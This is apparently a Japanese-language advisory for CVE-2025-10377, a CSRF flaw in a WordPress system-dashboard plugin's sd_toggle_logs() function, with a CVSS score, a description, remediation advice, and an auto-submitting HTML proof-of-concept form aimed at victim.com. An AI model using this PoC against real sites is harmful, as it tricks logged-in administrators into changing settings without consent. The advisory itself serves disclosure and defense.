
CVE-2025-10377
脆弱性タイプ: クロスサイトリクエストフォージェリ (CSRF)
影響を受ける関数: sd_toggle_logs()
CVSS v3.1: 4.3 (中)
ベクトル: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(注記: スコアは管理者権限を持つ被害者とユーザー操作を必要とする不正な状態変更を反映しています。)
脆弱性の説明:
関数 sd_toggle_logs() は、ページアクセスログ、エラーログ、メール配信ログの有効化/無効化などの機密操作を処理します。しかし、この関数は $_REQUEST['log_type'] パラメータと権限チェック (current_user_can( 'manage_options' )) のみに依存しており、CSRF 対策 (例: check_admin_referer() や nonce) を実装していません。
その結果、攻撃者はログイン済みの管理者を悪意のあるページに誘導し、細工されたリクエストを静かに送信させることで、サイトのログ設定を意図せず有効化/無効化させることができます。
サイトのログ機能 (ページアクセスログ、エラーログ、メール配信ログ) に対する不正な状態変更。
エラーログが有効になった場合、サイトはプラグインによって決定されたファイルパスにアプリケーションエラーを書き込み始める可能性があります (ログを介した運用情報漏えいの可能性が高まります) が、この問題の直接的な影響は状態自体の切り替えです。
manage_options 権限を持つログイン済みユーザーが攻撃者のページを訪問すると、明示的な同意なしに対象のログ機能が切り替わります。
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
WordPress の nonce (check_admin_referer() または wp_verify_nonce()) を実装してリクエストを検証する。
機密操作を POST リクエストのみに制限する。
CSRF 対策として権限チェックのみに依存しない。
レポートに記載されたとおりに問題を再現できない場合は、明確な再現シナリオについて以下のビデオデモ (PoC) を参照してください: